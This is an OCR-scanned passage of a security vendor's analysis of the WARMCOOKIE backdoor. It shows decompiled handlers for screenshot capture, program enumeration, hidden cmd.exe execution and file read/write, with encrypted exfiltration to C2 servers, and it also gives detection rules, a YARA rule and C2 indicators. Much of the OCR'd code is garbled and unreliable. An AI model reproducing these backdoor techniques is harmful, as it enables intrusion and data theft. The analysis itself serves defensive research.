loads Windows DLLs used for graphics and drawing operations, such as GDI32.DLL and GDIPLUS.DLL , and then uses

various APIs, such as BitBlt , CreateCompatibleBitmap , and GetSystemMetrics to generate the screenshot.

= GetDc(0i64);

ac = n_dac,

h_dc )

CompatibleDC = CreateCompatibleDC(h_dc);
if ( CompatibleDC )
{

width = GetSystemMetrics(SM_CXSCREEN);
i = GetSystemMetrics(SM_CYSCREEN);

h_compat_bitmap;

SelectObject(CompatibleDC, h_compat_bitmap);
if ( BitBlt(CompatibleDC, @, ©, sys_metric_width, sys_metric_heig
_ h_compat_bitmap = _h_compat_bitmap;
else
DeleteDbject( h compat _bhitmap);
}
DeleteObject(CompatibleDC);
}
ReleaseDc(@i64, h dc);
}
return _ h_compat_bitmap;

Screen capture via BitBlt

CreateCompatibleBitmap(_h dc, sys metric_width, sys metric_

The collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.
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OB OC OD OE OF Decoded text

o
[
E
i
L;

Offset(h) OO0 01 02 03 04 05 06 OT7 OB

g2 05 84 78 1C BF 71 A1 07 AT 43 02 014}
02 00 00 OO0 00 OO0 00 OO0 20 00 00 00 F1 BS 01
20 FF D8 FF EO 00 10 4A 46 49 46 00 01 01 01 00 &
00030 00 &0 00 00 FF DE 00 43 00 0% 06 08 07 08 03
0040 OT7 07 OT7 0% 0% 08 QA OC 14 OD OC OB OB 0OC 1% 12
00050 13 OF 14 1D 1A 1F 1E 1D 1A 1C 1C 20 24 ZE 27 2
Q0080 22 2C 23 1C 1C 28 37 29 2C 30 31 34 34 34 1F 27
Q0000070 3% 3D 38 32 3C ZE 33 34 32 FF DB 00 43 01 0% 0%
00000080 0% OC 0B OC 18 OD OD 18 32 21 1C 21 32 32 32 32

Decrypted POST Request Data from Handler 3

By looking for the file header JPEG File Interchange Format (JFIF) , we can carve out the image, and find a high-

quality image of our sandbox machine (below) based on our request to this handler.

IIEI IIIILI

L] Edit
o

191004  531px

Build

B Desiton B s Q) pocesstacke.. @ ProgressTeleri, () Teskscheduler = CommandPr.. I NewworkConn., @ Untitied -pait [

Desktop capture from VM sandbox
Retrieve installed programs - command ID (3)

This handler enumerates the installed programs on the victim machine via the registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
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uninstall_path = DecryptString(dword_7FFC6FDRE4E®);// SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
uinstall_path = uninstall_path;
if ( !RegOpenKeyExW(HKEY_LOCAL_MACHINE, uninstall_path, @, @x108u, &hKey) )

{
p_mem = AllocHeap(@x48000ui6d);

vl = p_mem;
if { p_mem )

*n mem = 8;

str_Displaylame = DecryptString(dword_7FFC6FDAES5@);// DisplayName

str DisplayVersion = DecryptString(dword 7FFC6FDRES7@);// DisplayVersion

str_InstallDate = DecryptString(dword_7FFC6FDRESAB);// InstallDate

str pipe = des::DecryptString(dword_7FFC6FDOESCR);// |

cchName = 268;

str_dash = des::DecryptString(dword_7FFCGFDRESDB);// -

v7 = 8;

for ( 1 = -1i64; !RegEnumKeyExW(hKey, w7, hName, &cchlame, @i64, 0i6d, B8ibd, 0i6d); cchlame = 260 )

if ( !'RegOpenKeyExti(hKey, Name, 8, 8x181u, &v37) )

cbData = 260;
if ( !RegQueryValueExW(v37, str_DisplayName, 0i64, 0i64, Data, &cbData) )

Grabbing the installed programs from the registry

The program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along

with the checksum data, offsets, and sizing.

Cffset(h) 00 O1 02 O3 04 05 Oe 07 O8f 0S5 O& OB OC OD OE OF Decoded text

Q0000000 42 26 69 E3 1C BF 71 A1 OT7 A7 43 38 02 00 00 00 Btid.;qg;.SCE....
QoQoQgQo010 O3 00 OO0 OO 00 OO0 00 OO0 20 OO0 OO OO0 BS O7 00 OO ....ve... R & P
00000020 4E 75 31 &1 61 58 41 &7 4D 54 &7 75 4D 44 45 ©7 HNylaaXagMTguMDEg
Q00000030 4B 43 67 32 4E 43 6B 3D TC 4D 54 &7 75 4D 44 45 EHgZNCk=|MTguMDE

Q0000040 3D T7C 2D TC B2 53 68 7T 62 47 39 79 BA 58 4% g7 =|-|BXhwkGovZXIg
QoQQoO050 55 33 56 7O &4 47 55 &7 53 56 59 3D TC 2D 7C 4D U3VpdGUgSVY=|-|M
Qo0Qo0ed ©A 41 TE 4E A 45 TH 4D eA 45 3D TC 53 43 68 45 JAXNJExMiE=|SHhE
Qo0QQO0DT0D 49 45 68 6C 65 43 42 46 SA 47 &6C 30 62 33 45 &7 IEhleCBFZIG10b3Ig
QoQQoO0D80 4D €92 34 31 TC 4D €9 24 31 TC 4D €4 41 79 4D 54 Mi4l |Mi4l |MjAyMT
QoQooO090 41 32 4D 44 6B 3D T7C 54 57 389 36 61 57 73 73 5% AZMDEk=|TWSeaWxsY
Decrypted POST Request Data from Handler 3
Below is an example of one of the registry entries:
Encoded Value Decoded Value
NylaaXAgMTguMDEgKHg2NCk= 7-Zip 18.01 (x64)

Command-line execution - command ID (4)

WARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument

that gets executed to cmd.exe /c without a console window.

str tormat cmd = DecryptString(dword_7FFCS5D51E670);// cmd.exe /c %ls
sprintf_s(cmd, v10, str_format_cmd, v7);
if ( str_format_cmd )

memset((=tr format cmd - 8), @, *(str format cmd - 2) + 8i64);
FreeHeap((str format cmd - 8));

}
GetCurrentDirectoryll(0x184u, Buffer);
if ( !CreateProcessl(@i64, cmd, 0i6d, @i64, 1, CREATE_NO WINDOW, ©i64, Buffer, &StartupInfo, &ProcessInformation) )

New process creation with custom command line
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In the example below, whoami is provided as the argument:

= [Jrundi32. exe (692) "C:\Windows\System32\rundll32 exe" "C:\tmp\RtlUpd dIl", Start /p
=g cmd.exe (1044) cmd.exe /c whoami
# Conhost.exe (1168) \?2\C:\WINDOWS\system32\conhost.exe Oxffffffff -ForceV1
+ whoami.exe (2324) whoami

Process tree with command-lines

This function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server.

Below is an example of the decrypted data for this handler:

Cffset(h) 00 01 02 O3 04 05 06 OT7 08

(=]
1]

OA OB OC OD OE OF Decoded text

Q00000000 SB 22 8C 75 1C BF 71 A1 07 L7 43 38 02 00 00 00 ["Ea.:;d;.S5CE....
00000010 04 OO0 00 OO0 00 OO0 OO0 OO0 24 OO0 00 OO0 1D 00 00 00 .vvuevnan -
00000020 00 OO0 00 OO0 SR 47 56 TA 61 33 52 T6 63 43 30 79 ....ZGVza3RvcCoy
00000030 59 TZ 4E 7O €3 57 €8 76 58 4% 4R 6C 62 51 30 4B YzNpoWhvXHJI1bQOK
00000040 00 OO0 00 OO

Decrypted POST Request Data from Handler 4

Encoded Value Decoded Value

7ZGVza3RvcCO0yYzNpcWhvXHIIbQOK desktop-2c3igho\rem

Write file - command ID (5)

WARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.

if ( file_name )

{
h_file = CreatefFileW(file_name, GENERIC_WRITE, @, @i64, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, @i64);
h £3 h £file-
_h_ _tile;
if ( h_file = -1i64 )
SetFilePointer(h_file, @, @i64, @);
if ( WriteFile({_ h file, p file buffer, NumberOfBytesToWrite, &NumberOfBytesWritten, @i64)
&8 MumberOfByteshWritten == NumberOfBytesToWrite )
{
flag = 1;
}
CloseHandle(_h_file);
B

File Creation within Handler 5

As a test, we can write a file within a directory with some data and then read it in the next handler.

rundll32 exe 3688 = CreateFile Citmpimeow txt
[Jrundil32 exe 3688 = WriteFile C:Atmp\meow.txt
[Jrundil32 exe 3688 = CloseFile C:Atmp\meow.txt

Custom file creation
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U HxD - [Chtmphmeow. ]
Ef] File Edit Search View Analysis Tools Window Help

Bv | W g 416 [o]| Windows (ANSI || hex =
E meow.bd

Offset(h) 00 Ol 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text
00000000 €D €5 6F 77 00 | meow.

Data written to custom file

Depending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64

encoded values:

e 0K
e ERROR: Cannot write file

Offset (h) 00 01 OZ2 03 04 05 06 O7 08 0% QA OB OC OD QOE OF Decoded text

Q00QQoO00 77 RE EA DO 1C BF 71 &1 07 AT 43 32 02 00 00 00 w«EP.z;gj.SCB....
QQQQQQgl0 05 00 00 00 00 00 00 00 20 00 00 00 05 00 00 00 o ..eeees snmnnns
QQoQooozZ0 54 30 73 3D 00 00 00 00 TOs=....

Decrypted POST Request Data from Handler 5
Read file - command ID (6)

This handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the

file path as the argument.

h_file = CreateFilel(
_ file_path,
GENERIC_READ,
_FILE SHARE DELETE| FILE SHARE WRITE| FILE SHARE READ,
eied,
OPEN_EXISTING,
FILE ATTRIBUTE NORMAL,
0ied);

h file = h file

1le 1le;

file pointer = SetFilePointer(h file, @, @i64, 2u);
if ( file_pointer <= @x40000000 )

em = AllocHeap(file_pointer);
( p_mem )

SetFilePointer(_h_file, 8, @i64, @);
if ( ReadFile(_h file, p_mem, file pointer, &MumberOfBytesRead, @i64) & NumberOfBytesRead == file pointer )

Reading files within Handler 6

Depending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64

encoded values along with the file contents:
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e 0K (See 'Files' tab)
e ERROR: Cannot read file

Cffset(h) OO0 O1 02 03 04 05 06 07 05 0% QA OB OC OD OE OF Decoded text

Q0000000 eC 32 F1 DE 1C BF 71 &l 00 00 00 1,A0.:;q;.SCE....
Q0000010 Oe 00 00 00 00 00 00 00 00 00 00 ....eunn [vevnnan
00000020 g8 00 00 00 05 00 00 00 46 4E 6C H....... TOsgEFN1
Q0000030 5A 53 41 €E 52 €D &C T3 43 52 68 Z5AnEmlsZXMnIHEh
Q00000040 5% &% 6B 3D 00 00 Q0 00 00 00 Yik=....meow....

Decrypted POST Request Data from Handler 6

Based on the previous wording around a Files tab, the WARMCOOKIE operators may use a GUI element.
Remove persistence - command ID (10)

This handler removes the previously configured scheduled task with the name RtlUpd . By leveraging COM, it will call

DeleteFileW within mstask.dll to remove the task.

K7  ntoskmlexe NtSetInformationFile + Ox6a7 Oxfffff80198454897 CAWINDOWS!system32intoskrnl exe

K8 ntoskmlexe setjimpex + 0x8f93 Oxfffff801985a5003 C:AWINDOWS'system32intoskrnl.exe

ug9  ntdidi NiSetlnformationFile + 0x14 0x7ffc7d7c0364 CAWINDOWS\SYSTEM32\ntdILdll

U 10 KERNELBASE.dIl DeleteFileW + 0x161 0x7ffc79c2e2al CAWINDOWS\System32\KERNELBASE.dll
U 11 KERNELBASE dIl DeleteFileW + 0xb 0x7ffc79c2e14b CAWINDOWS\System32\KERNELBASE dll
U 12 mstask.dll SetNetScheduleAccountinformation + 0x7feb 0x7ffc7465eatb C:\Windows\System32imstask.dll

U 13 RtUpddil Start + Oxdcec Ox7ffcbd566¢ce CAtmp\RtUpd.dll

U 14 RtUpd.di Start + Ox2cc Ox7ffc5d564cal CAtmp\RHUpd.dil

U 15 RtlUpd.di Start + 0x32d7 Ox7ffc5d5652b7 CAtmp\RHUpd.dil

U 16 RtUpd.di RtiUpd.dil + 0x19f9 Ox7ffc5d5619f9 CAtmp\RHUUpd.dil

U 17 RtUpddi RilUpd.dil + 0x1f19 0x7ffc5d561119 CAtmp\RUUpd.dil

U 18 KERNEL32.DLL BaseThreadInitThunk + Ox14 Ox7ffc7cbclfed CAWINDOWS\System32\KERNEL32.DLL
U 19 ntdildil RtlUserThreadStart + 0x21 Ox7ffc7d78efcl CAWINDOWS\SYSTEM32\ntdILdll

Callstack showing task deletion via COM

IDA string decryption tool

Elastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted
strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and

IDA commenting tool can be downloaded here.

Conclusion

WARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting
users across the globe. Our team believes this malware represents a formidable threat that provides the capability to
access target environments and push additional types of malware down to victims. While there is room for improvement
on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will

continue to monitor this threat and recommends that the industry do the same.

WARMCOOKIE and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced

persistent threats use against enterprise networks.
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Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an

action.

o Initial Access

e Execution

o Defense Evasion

e Discovery

e Command and Control

o Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

e Phishing
e User Execution: Malicious Link

o Command and Scripting Interpreter: PowerShell

o System Information Discovery
¢ Scheduled Task/Job

e Screen Capture

e Command and Scripting Interpreter: Windows Command Shell

Preventing and detecting WARMCOOKIE

Prevention

 Suspicious PowerShell Downloads

e Scheduled Task Creation by an Unusual Process

o Suspicious PowerShell Execution via Windows Scripts
e RunDLI.32/Regsvr32 I.oads a DLL Downloaded via BITS
e RunDLI.32 with Unusual Arguments

o Windows.Trojan.WarmCookie

Detection w/YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify WARMCOOKIE:

rule Windows_Trojan_WarmCookie_7d32fa90 {
meta:
author = "Elastic Security"

creation_date = "2024-04-29"
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https://attack.mitre.org/tactics/TA0001
https://attack.mitre.org/tactics/TA0002/
https://attack.mitre.org/tactics/TA0005/
https://attack.mitre.org/tactics/TA0007
https://attack.mitre.org/tactics/TA0011
https://attack.mitre.org/tactics/TA0010/
https://attack.mitre.org/techniques/T1566/
https://attack.mitre.org/techniques/T1204/001/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1053/
https://attack.mitre.org/techniques/T1113/
https://attack.mitre.org/techniques/T1059/003/
https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml
https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml
https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml
https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml
https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar

last_modified

os = "Windows

arch = "x86"

threat_name =

https://www.elastic.co/security-labs/dipping-into-danger

= "2024-05-08"

"

"Windows.Trojan.WarmCookie"

license = "Elastic License v2"

strings:

$seq_checksum

= { 45 8D 5D ?? 45 33 (0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }

$seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?7 48 8D 4E ?? E8 }

$seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 (4 48 89 84 24 40 02 00 00 45 33 (9 48 8

$seq_registry = { 48 81 EC 80 02 00 00 48 8B @5 F7 09 02 00 48 33 (4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 ¢

$plain_str1 =

$plain_str2
$plain_str3 =
$decrypt_stri
$decrypt_str2
$decrypt_str3
$decrypt_str4
$decrypt_str5
$decrypt_strb

condition:

"release.d1l" ascii fullword

"\"Main Invoked.\"" ascii fullword

"\"Main Returned.\"" ascii fullword

= "ERROR: Cannot write file" wide fullword
= "0K (No output data)" wide fullword

= "0K (See 'Files' tab)" wide fullword

= "cmd.exe /c %1s" wide fullword

= "Cookie:" wide fullword

= "%1s\\*.*" wide fullword

(3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

Observable

Type Name

SHA
ccde1ded028948f5cd3277d2d4aftbb22fa33f53abde84ea2aald1f1872fad1d13 RtlUpd.dll

omeindia[.]com

256

domain
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Reference

WARMCOOKIE

Phishing link


https://github.com/elastic/labs-releases/tree/main/indicators/warmcookie

Observable

https://www.elastic.co/security-labs/dipping-into-danger

assets.work-for[.]top

45.9.74[.1135

80.66.88[.]1146

185.49.69[

References

.141

The following were referenced throughout the above research:

 https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign

e https://x.com/Cryptolaemus1/status/1785423804577034362

Appendix

Checksum example

def calculate_checksum(str_input, str_len, i):

if i ==

-
n

if i ==

for idx

0:
OXFFFFFFFF

-1:

in range(0@, str_len, 2):

v6 = str_input[idx] | (str_input[idx + 1] << 8)

for _

return ~

in range(16):
if (v6 A1) & 1:
i=(( > 1) ™ 0xEDB88320) & OXFFFFFFFF
else:
i=(i> 1) & OXFFFFFFFF
v >>= 1

i & OXFFFFFFFF
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Type Name
domain

ipv4-
addr

ipv4-
addr

ipv4-
addr

Reference

Landing page

Landing page

WARMCOOKIE

C2 server

WARMCOOKIE

C2 server


https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
https://x.com/Cryptolaemus1/status/1785423804577034362

https://www.elastic.co/security-labs/dipping-into-danger

serial_volume = 0x0A2C9AD2F

mutex = "f92e6f3c-9cc3-4bed-966c-1bed21e69140".encode("utf-161e")
mutex_result = calculate_checksum(mutex, len(mutex), -1)

username = "REM\x00".encode("utf-161le")

username_result = calculate_checksum(username, len(username), -1)
computer_name = "DESKTOP-2C3IQHO".encode("utf-161e")
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)
print(f"Mutex: {hex(mutex_result)}")

print(f"Username: {hex(username_result)}")

print(f"Computer Name: {hex(computer_name_result)}")

print(f"#1 Checksum: {hex(serial_volume " mutex_result)}")

print(f"#2 Checksum: {hex(username_result A computer_name_result)}")

Source: https://www.elastic.co/security-labs/dipping-into-danger
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